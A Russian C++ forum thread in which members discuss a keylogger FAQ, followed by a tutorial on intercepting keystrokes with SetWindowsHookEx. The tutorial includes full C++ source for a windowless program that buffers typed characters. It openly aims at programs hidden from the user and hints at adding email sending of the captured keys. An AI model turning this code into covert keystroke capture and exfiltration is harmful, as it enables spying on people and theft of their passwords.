На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
! Правила раздела FAQ в группе разделов С++.
1. Раздел FAQ предназначен для публикации готовых статей.
2. Здесь нельзя задавать вопросы, для этого существуют соответствующие разделы:
Чистый С++
Visual C++ / MFC / WTL / WinApi
Borland C++ Builder
COM / DCOM / ActiveX / ATL
Сопутствующие вопросы
3. Внимание, все темы и сообщения в разделе премодерируются. Любое сообщение или тема будут видны остальным участникам только после одобрения модератора.
Модераторы: B.V., Qraizer
  
> Нужен ли FAQ по клав. шпиену? :) , ...с отправкой данных ч/з инет?
    %subj%
    а то фсе равно спрашивают и спрашивают...
      а что, пусть будет

      кстати = там уже есть один. не твой ли?
      Сообщение отредактировано: AQL -
        Не... у меня только исходник, который еще надо разобрать и описать sad.gif
          M
          Тема, по всей видимости, умерла.
          Если у Вас нет чего-либо по существу вопроса - не пишите сюда.
            Visitor, не надо :tong:

            Лучше отдай журналу, мы какой-нибудь коммент допишем и выложим 8-) Тем более, что проблема нестандартная, а читателям будет интересна ;)
            !
            Мяут. Смотри замечание в предыдущем сообщении. п.9 Правил
            И отдыхай от своей подписи 3 дня. :)
            Сообщение отредактировано: trainer -
              Перехват клавиатуры ( Установка дополнительного обработчика
              клавиатурных сообщений с помощью функции SetWindowsHookEx )

              Данная статья посвящена перехвату клавиатурных сообщений ( в принципе применима к перехвату
              любых системных сообщений Windows ).
              Предоставленный пример демонстрирует пассивный метод обработки сообщений клавиатуры: т.е.
              нажатые клавиши просто записываются в буффер. К активному методу обработки сообщений клавиатуры
              можно отнести процедуры ,например "СЪЕДАЮЩИЕ" определенные клавиши, как будто они не
              работают , и т.п. // выдумка дело легкое.
              Устанавливать перехватчик клавиатуры в "одно/мульти - Оконных" приложениях вобщем то смысла не
              имеет. В данной статье речь идет о так называемых невидимых приложениях - драйверы клавиатуры и т.д.
              не имеющих собственного окна, не отображающихся в панели задач, вобщем - спрятаных от пользователя.
              ( О вирусах я ничего не говорил )

              Создание каркаса приложения.
              При создании нового проекта выбираем что это будет Win32 Application и называться он будет
              к примеру - keyhook.



              В следующем шаге выбираем что это "Asimple Win32 application"



              Таким образом мы создали пустой каркас приложения , после этого необходимо перейти к
              программированию. Для чего перейдем к файлу keyhook.cpp щелкнув на нем 2 раза.



              Содержимое файла keyhook.cpp приведено ниже , комментарии после текста кода.
              ExpandedWrap disabled
                // 1.cpp : Defines the entry point for the application.
                //
                 
                #include "stdafx.h"
                 
                //глобальные переменные
                int mykey(WPARAM,LPARAM);    // объявление процедуры
                int a=0;                                           // счетчик символов
                char String[256];                               // буфер для строки
                 
                LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
                {
                 if(lParam>0x8000){ mykey(wParam,lParam);}
                 // обрабатываем только когда клавиша нажата (типа WM_KEYDOWN)
                 
                 return 0;
                }
                 
                int mykey(WPARAM wPararam, LPARAM lPararam)
                {
                  
                 
                UINT uScanCode = MapVirtualKey(wPararam,0);   // scan code
                BYTE KeyState[256];                                              // key-state array
                WORD BufChar;                                                    // buffer for translated key
                UINT uFlags=0;                                                       // якобы ?меню? не активно
                 
                GetKeyboardState(KeyState); // заносим состояние всех клавиш
                 
                if(ToAscii(wPararam,uScanCode,KeyState,&BufChar,uFlags)==1)
                // исходя из кода VirtualKey и состояния всех клавиш определяем
                // какой символ будет отображаться на экране.
                 
                {
                    if (char(BufChar)==8) // если нажат BACKSPACE идем назад по буферу
                     {
                       if(a==0) return 0;
                       else a--;return 0;
                      }
                if(a>40) MessageBox(NULL,String,"hehe",0);
                // если было введено больше 40 символов выводим на экран сесь буфер.
                  String[a]=char(BufChar);a++;// заносим символ в буфер
                  MessageBeep(0xffffffff);// выдаем звук
                 
                }
                 
                 return 0;
                }
                 
                int APIENTRY WinMain(HINSTANCE hInstance,
                                     HINSTANCE hPrevInstance,
                                     LPSTR     lpCmdLine,
                                     int       nCmdShow)
                {
                 
                SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,NULL);
                //устанавливаем перехватчик для Клавишных событий
                 
                while (1) {;}
                // бесконечный цикл программу можно выгрузить только через диспетчер
                // задач (Ctrl+Alt+Del)
                return 0;
                }

              Комментарии к коду программы.
              Как видно в главной части программы WinMain присутствует всего две добавленные строчки

              * SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,NULL);
              Первый параметр этой функции указывает что перехватываться будут только сообщения от клавиатуры
              Второй параметр имя процедуры которая будет вызываться до всех процедур обработки сообщений
              клавиатуры.
              Третий параметр указатель на INSTANCE приложения (или DLL) которое содержит данную процедуру,
              если стоит NULL как здесь то процедура находится в текущем приложении и будет активно пока активно
              данное приложение.
              Четвертый параметр указывает в цепочку какого приложения следует вставлять процедуру перехвата
              если стоит NULL, процедура перехвата будет выполняться для любого приложения запущенного в
              системе.
              * Следующий оператор while (1) {;} обеспечивает бесконечный цикл выполнения программы,
              Этот оператор обеспечивает условие указаное в третьем параметре предыдущего оператора.
              Замечание 1: запуская программу вы можете покончить с ее жизнедеятельностью только посредством
              диспетчера задач который вызывается по нажатию Ctrl+Alt+Del
              надо выбрать имя программы (здесь "1") и нажать кнопку "Снять задачу".
              Замечание 2: данная программа не определяет была ли она уже запущена или нет,
              активна она или нет - т.е. будьте осторожны.

              ExpandedWrap disabled
                * Функция перехватчика сообщений  клавиатуры должна обязательно иметь следующий формат
                LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
                {
                // ВАШ КОД ЗДЕСЬ
                 return 0;
                }
                Код этой процедуры будет выполняться каждый раз когда нажата или отпущена клавиша
                Следующая строчка отсеивает все "Отпускания "клавиш.
                 if(lParam>0x8000){ mykey(wParam,lParam);}
                это означает что процедура mykey будет выполняться только для системных сообщений
                типа WM_KEYDOWN или  WM_SYSKEYDOWN .
                 
                Процедура mykey(wParam,lParam) представленная ниже делает следующие действия:
                 
                int mykey(WPARAM wPararam, LPARAM lPararam)
                {
                UINT uScanCode = MapVirtualKey(wPararam,0);
                // Вычисляется Скан-код нажатой клавиши.
                // все эти данные нужны для функции ToAscii которая
                // преобразовывает нажатую клавишу в букву которая будет
                // отображаться на экране.
                BYTE KeyState[256];
                // Массив состояний всех клавиш
                //нужны для функции ToAscii
                WORD BufChar;
                // Буфер в который записывается результат функции ToAscii
                UINT uFlags=0;
                // Переменная говорящая что "меню" в данный момент якобы не активно
                // кто сможет подробнее мне рассказать что это такое скажу спасибо
                GetKeyboardState(KeyState);
                //функция читающая состояние всех клавиш и заносит данные
                //в 256 байтовый массив
                 
                if(ToAscii(wPararam,uScanCode,KeyState,&BufChar,uFlags)==1)
                // если в буфер записан один символ т.е обыкновенная
                //символьная клавиша была нажата
                {
                    if (char(BufChar)==8)
                // если нажат BackSpace уменьшаем указатель
                //буфера для строки
                     {
                       if(a==0) return 0;
                       else a--;return 0;
                      }
                if(a>40) MessageBox(NULL,String,"hehe",0);
                // если в буфер записано 40 символов выводим
                //содержимое буфера на экран
                  String[a]=char(BufChar);
                  a++;
                  MessageBeep(0xffffffff);
                // иначе записываем символ в буффер,увеличиваем указатель буфера ,
                //делаем БИП, и идем далее.
                }
                 return 0;
                }

              Результат работы программы.
              После того как в буфер запишется 40 символов выводится месаджбокс в котором показаны
              нажатые клавиши.


              Собственно можно буфер сделать побольше , убрать звуковое сопровождения нажатий клавиш,
              разобраться в испоьзовании WinSocket ( отправка электронной почты) и ...........
              (Про вирусы я ничего не говорил )

              Вместо заключения.
              * Вот собственно и все, здесь приведены только концепции перехвата системных
              сообщений Windows - остальная работа за ВАМИ.
              * Настоятельно рекомендую установить себе полный MSDN хоть он и занимает
              два компакта но найти там можно практически всю интересующую информацию.
              Всю информацию необходимую для написания данного примера я почерпнул
              только из MSDN.Обязательно посмотрите описания для всех используемых здесь функций.[CODE=cpp]
              0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
              0 пользователей:


              Рейтинг@Mail.ru
              [ Script execution time: 0,0316 ]   [ 15 queries used ]   [ Generated: 20.04.24, 01:39 GMT ]